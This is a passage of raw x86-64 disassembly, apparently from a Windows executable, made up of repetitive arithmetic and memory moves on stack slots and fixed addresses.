mov qword [rsp + 0xce18], rax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6aac]
sar eax, cl
mov dword [rsp + 0x6b60], eax
lea rax, [rsp + 0xca50]
mov qword [rsp + 0xce20], rax
mov rax, qword [rsp + 0xc058]
movzx eax, byte [rax]
mov byte [0x1402c90c3], al
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15a0]
shl eax, cl
mov word [rsp + 0x1630], ax
movzx eax, word [rsp + 0x1704]
mov rcx, qword [rsp + 0xbda8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0xed], al
movsx eax, word [rsp + 0x15d8]
mov rcx, qword [rsp + 0xc710]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcde0]
mov qword [rsp + 0xce28], rax
mov rax, qword [rsp + 0xcd30]
mov rcx, qword [rsp + 0xc8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6af0], eax
lea rax, [rsp + 0xcb58]
mov qword [rsp + 0xce30], rax
mov rax, qword [rsp + 0xcda0]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b8], eax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74aa], al
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
add eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0xc208]
movzx eax, word [rax]
mov word [rsp + 0x1794], ax
movsx eax, byte [rsp + 0xc8]
movsx ecx, byte [rsp + 0xc3]
add eax, ecx
mov byte [rsp + 0x6a], al
movzx eax, word [rsp + 0x1680]
mov word [rsp + 0x1798], ax
mov eax, dword [rsp + 0x6b04]
mov ecx, dword [rsp + 0x6a10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xc5f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd60], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0xc678]
mov rcx, qword [rsp + 0xcde0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
lea rax, [rsp + 0x1790]
mov qword [0x1402c9328], rax
lea rax, [rsp + 0xe6]
mov qword [rsp + 0xce40], rax
movzx eax, word [rsp + 0x1554]
movzx ecx, word [rsp + 0x1678]
xor eax, ecx
mov word [rsp + 0x1754], ax
mov rax, qword [rsp + 0xcbf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xed], al
lea rax, [rsp + 0x1720]
mov qword [rsp + 0xce48], rax
mov rax, qword [rsp + 0xc5a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcc88]
mov qword [rsp + 0xce50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce50]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xcd50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc400]
mov rax, qword [rax]
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xc868]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbe98]
shl rax, cl
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6b6c]
mov ecx, dword [rsp + 0x6a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b08], eax
mov rax, qword [rsp + 0xc4b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc1a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c90e8]
mov byte [rcx], al
lea rax, [rsp + 0x1554]
mov qword [rsp + 0xce60], rax
movsx eax, word [rsp + 0x1778]
mov rcx, qword [rsp + 0xba10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc528]
mov word [rcx], ax
mov rax, qword [rsp + 0xc7d0]
movzx eax, byte [rax]
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xc490]
movsx eax, word [rax]
mov rcx, qword [0x1402c9130]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15a8], ax
lea rax, [rsp + 0x6a5c]
mov qword [rsp + 0xce68], rax
mov rax, qword [rsp + 0xca48]
mov rcx, qword [rsp + 0xc510]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbc28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ab8]
mov ecx, dword [rsp + 0x6a24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov dword [rcx], eax
lea rax, [rsp + 0xc948]
mov qword [rsp + 0xce70], rax
movzx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74d3], al
movsx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0xcbf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xae], al
lea rax, [rsp + 0x15e0]
mov qword [rsp + 0xce78], rax
mov rax, qword [rsp + 0xcc30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1740]
add eax, ecx
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c90c2]
add eax, ecx
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x695c]
mov dword [rsp + 0x6ba4], eax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xc130]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xce18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbde8]
mov qword [rsp + 0xce80], rax
mov eax, dword [rsp + 0x6b84]
movzx ecx, al
mov eax, dword [rsp + 0x6af4]
sar eax, cl
mov rcx, qword [rsp + 0xc118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1620]
xor eax, ecx
mov rcx, qword [0x1402c9178]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc58]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xce40]
mov byte [rcx], al
lea rax, [rsp + 0xde]
mov qword [rsp + 0xce88], rax
movzx eax, byte [rsp + 0x9f]
movzx ecx, byte [rsp + 0xe4]
or eax, ecx
mov byte [rsp + 0xad], al
movzx eax, word [rsp + 0x1708]
mov word [rsp + 0x179c], ax
mov rax, qword [rsp + 0xbd38]
mov ecx, dword [rsp + 0x69c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc090]
mov ecx, dword [rsp + 0x6ad0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ac0], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xce90], rax
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc438]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x64]
movzx ecx, byte [reloc.SHELL32.dll_ILGetNext]
and eax, ecx
mov rcx, qword [0x1402c9210]
mov byte [rcx], al
movzx eax, word [rsp + 0x1608]
mov word [rsp + 0x17a0], ax
mov rax, qword [rsp + 0xc2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x98], al
movzx eax, word [rsp + 0x15cc]
mov word [rsp + 0x17a4], ax
movsx eax, word [rsp + 0x16ac]
mov rcx, qword [rsp + 0xc178]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xc568]
mov rcx, qword [rsp + 0xc278]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce30]
mov qword [rcx], rax
lea rax, [rsp + 0x6af8]
mov qword [rsp + 0xce98], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf80]
mov rax, qword [rax]
mov qword [rsp + 0xcea0], rax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc4]
sub eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [rsp + 0x1530]
mov qword [0x1402c9330], rax
movzx eax, word [rsp + 0x16ec]
movzx ecx, word [rsp + 0x176c]
or eax, ecx
mov word [rsp + 0x1680], ax
lea rax, [rsp + 0xd2]
mov qword [rsp + 0xcea8], rax
movsx eax, word [0x1402c90c0]
mov rcx, qword [rsp + 0xc798]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1664], ax
lea rax, [rsp + 0xc900]
mov qword [rsp + 0xceb0], rax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xbe28]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbd88], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xca10]
mov qword [rsp + 0xceb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xceb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6a2c], eax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
mov dword [rsp + 0x6ba8], eax
movzx eax, word [rsp + 0x1594]
cdq
mov ecx, 0x3b1
idiv ecx
mov rcx, qword [rsp + 0xc6c8]
mov word [rcx], ax
mov rax, qword [0x1402c9208]
movsx eax, byte [rax]
imul eax, eax, 0x27
mov rcx, qword [0x1402c9238]
mov byte [rcx], al
lea rax, [rsp + 0x173c]
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa6]
and eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
movzx eax, word [rsp + 0x16e8]
mov word [rsp + 0x17a8], ax
mov rax, qword [rsp + 0xc2c8]
mov rcx, qword [rsp + 0xbe30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6d0], rax
mov eax, dword [rsp + 0x6a48]
mov dword [rsp + 0x6bac], eax
mov rax, qword [rsp + 0xc878]
mov ecx, dword [rsp + 0x6afc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ac8], eax
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0xef], al
movsx eax, word [0x1402c74e4]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7514], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1564]
and eax, ecx
mov word [rsp + 0x16e0], ax
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9260]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xcec8], rax
mov rax, qword [rsp + 0xc2c8]
mov rcx, qword [rsp + 0xc450]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc308]
mov eax, dword [rax]
mov dword [rsp + 0x6bb0], eax
mov rax, qword [rsp + 0xc638]
mov rcx, qword [rsp + 0xc198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd40]
mov rcx, qword [rsp + 0xc980]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc5f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcdd8]
movzx eax, byte [rax]
mov byte [rsp + 0xf0], al
movsx eax, word [rsp + 0x15cc]
movsx ecx, word [rsp + 0x156c]
sar eax, cl
mov word [0x1402c74c8], ax
movzx eax, word [rsp + 0x162c]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1754], ax
lea rax, [0x1402c90c3]
mov qword [rsp + 0xced0], rax
movsx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0xca90]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0xbfb8]
mov qword [rsp + 0xced8], rax
mov rax, qword [rsp + 0xc010]
mov rcx, qword [rsp + 0xc290]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
mov qword [rsp + 0xcee0], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6b6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15f0]
mov word [0x1402c9338], ax
lea rax, [rsp + 0x172c]
mov qword [rsp + 0xcee8], rax
movsx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [0x1402c92c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xcef0], rax
mov eax, dword [rsp + 0x6b1c]
mov ecx, dword [rsp + 0x69a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb90]
mov dword [rcx], eax
lea rax, [rsp + 0x6a0c]
mov qword [rsp + 0xcef8], rax
mov rax, qword [rsp + 0xc1f8]
mov rcx, qword [rsp + 0xbc90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc340]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402c74c0], ax
movzx eax, word [rsp + 0x16d8]
mov word [rsp + 0x17ac], ax
movsx eax, byte [rsp + 0xed]
movsx ecx, byte [0x1402c74a3]
add eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xc710]
movzx eax, word [rax]
mov word [rsp + 0x17b0], ax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc328], rax
mov rax, qword [rsp + 0xc338]
mov eax, dword [rax]
mov dword [rsp + 0x6bb4], eax
mov rax, qword [rsp + 0xc7b0]
mov rcx, qword [rsp + 0xc738]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x69d8], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0xcf00], rax
lea rax, [rsp + 0x15ac]
mov qword [0x1402c9340], rax
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc228]
mov byte [rcx], al
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0xf1], al
mov rax, qword [0x1402c9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc000]
mov byte [rcx], al
mov rax, qword [rsp + 0xcce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcb30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x170c], ax
lea rax, [rsp + 0x6ab8]
mov qword [rsp + 0xcf08], rax
mov rax, qword [rsp + 0xcc10]
mov rcx, qword [rsp + 0xbd88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xc888]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbee8], rax
movzx eax, word [0x1402c7508]
mov rcx, qword [rsp + 0xc7e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7518], ax
mov rax, qword [rsp + 0xc250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0xccb0]
mov byte [rcx], al
mov rax, qword [0x1402c91d0]
movzx eax, word [rax]
mov word [rsp + 0x17b4], ax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0xcc30]
movzx eax, word [rax]
mov word [rsp + 0x17b8], ax
mov rax, qword [rsp + 0xbe18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6aa4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd50]
mov rcx, qword [rsp + 0xcee0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc348]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ba4]
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xc150]
mov rcx, qword [rsp + 0xc510]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc320]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90a4], al
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x17bc], ax
mov rax, qword [rsp + 0xc238]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9280]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xce40]
mov byte [rcx], al
movsx eax, byte [rsp + 0xc7]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [rsp + 0x17c0], ax
mov rax, qword [rsp + 0xca40]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b18], eax
mov rax, qword [rsp + 0xc6e8]
mov rax, qword [rax]
mov qword [rsp + 0xcf10], rax
mov eax, dword [rsp + 0x6b04]
mov rcx, qword [rsp + 0xc620]
mov qword [rsp + 0xcf18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf18]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc7f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov qword [rsp + 0xcf20], rax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74ba], al
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xb0], al
movsx eax, word [rsp + 0x1724]
movsx ecx, word [rsp + 0x17a4]
sub eax, ecx
mov word [rsp + 0x16a4], ax
movzx eax, word [rsp + 0x1798]
mov word [rsp + 0x17c4], ax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0xc318]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb8], al
lea rax, [rsp + 0x6a5c]
mov qword [rsp + 0xcf28], rax
mov rax, qword [rsp + 0xcaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc538]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc1f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca48]
mov rcx, qword [rsp + 0xcdd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0xcd50]
mov eax, dword [rax]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xc6c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c751c], ax
movsx eax, word [rsp + 0x16ac]
mov rcx, qword [0x1402c9258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15f8], ax
movzx eax, word [rsp + 0x1708]
mov word [rsp + 0x17c8], ax
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc000]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcec8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc5b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd70]
mov byte [rcx], al
lea rax, [rsp + 0xbdc8]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xbc90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc2a8]
shr rax, cl
mov rcx, qword [rsp + 0xce70]
mov qword [rcx], rax
lea rax, [rsp + 0x69e8]
mov qword [rsp + 0xcf38], rax
mov rax, qword [rsp + 0xc138]
mov ecx, dword [rsp + 0x6978]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6ae8], eax
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
shl eax, cl
mov byte [rsp + 0xb9], al
movzx eax, word [rsp + 0x1764]
movzx ecx, word [0x1402c74a0]
xor eax, ecx
mov word [0x1402c91fc], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0xf2], al
movsx eax, word [rsp + 0x155c]
movsx ecx, word [rsp + 0x1654]
add eax, ecx
mov word [rsp + 0x16fc], ax
mov rax, qword [0x1402c9200]
movzx eax, word [rax]
mov word [rsp + 0x17cc], ax
mov rax, qword [rsp + 0xbe50]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc48], rax
lea rax, [rsp + 0x69dc]
mov qword [rsp + 0xcf40], rax
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [rsp + 0xcf20]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcaf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc540]
mov dword [rcx], eax
lea rax, [rsp + 0xc7]
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74a7]
sub eax, ecx
mov byte [0x1402c74d6], al
mov rax, qword [rsp + 0xcee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1550]
sub eax, ecx
mov word [rsp + 0x1594], ax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0xf3], al
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xcdd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0xc5e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc138]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc540]
mov dword [rcx], eax
lea rax, [rsp + 0xbde8]
mov qword [rsp + 0xcf50], rax
movsx eax, word [rsp + 0x1688]
movsx ecx, word [rsp + 0x1734]
sub eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
lea rax, [0x1402c74af]
mov qword [0x1402c9348], rax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa5], al
movzx eax, word [rsp + 0x1694]
mov word [rsp + 0x17d0], ax
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc030]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1604], ax
mov eax, dword [rsp + 0x6af4]
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xcc98]
mov rcx, qword [rsp + 0xc930]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc848]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca78]
mov qword [rsp + 0xcf58], rax
mov eax, dword [rsp + 0x6a68]
movzx ecx, al
mov eax, dword [rsp + 0x6b90]
shl eax, cl
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0xbb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x172c]
cdq
idiv ecx
mov rcx, qword [rsp + 0xcbf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1624]
or eax, ecx
mov word [0x1402c751c], ax
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
and eax, ecx
mov word [rsp + 0x1684], ax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
mov byte [rsp + 0xf5], al
movzx eax, word [rsp + 0x1768]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcbb0]
mov rcx, qword [rsp + 0xcd30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc040]
mov rax, qword [rax]
mov qword [rsp + 0xcf60], rax
mov rax, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xce98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a4c], eax
mov rax, qword [rsp + 0xc780]
mov qword [rsp + 0xcf68], rax
lea rax, [rsp + 0x1614]
mov qword [0x1402c9350], rax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
and eax, ecx
mov byte [rsp + 0xbc], al
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [rsp + 0xc5], al
lea rax, [0x1402c74f0]
mov qword [rsp + 0xcf70], rax
movzx eax, word [rsp + 0x17c8]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcab8]
mov qword [rsp + 0xcf78], rax
mov eax, dword [rsp + 0x6b90]
mov ecx, dword [rsp + 0x6b28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c8], eax
mov eax, dword [rsp + 0x69a0]
mov ecx, dword [rsp + 0x6bb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb98]
mov rax, qword [rax]
mov qword [rsp + 0xcf80], rax
movzx eax, byte [rsp + 0xf0]
movzx ecx, byte [rsp + 0x94]
add eax, ecx
mov byte [0x1402c748f], al
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce88]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xdc], al
movzx eax, word [rsp + 0x1530]
mov word [rsp + 0x17d4], ax
movzx eax, word [rsp + 0x1730]
movzx ecx, word [rsp + 0x1798]
shl eax, cl
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
lea rax, [rsp + 0x69]
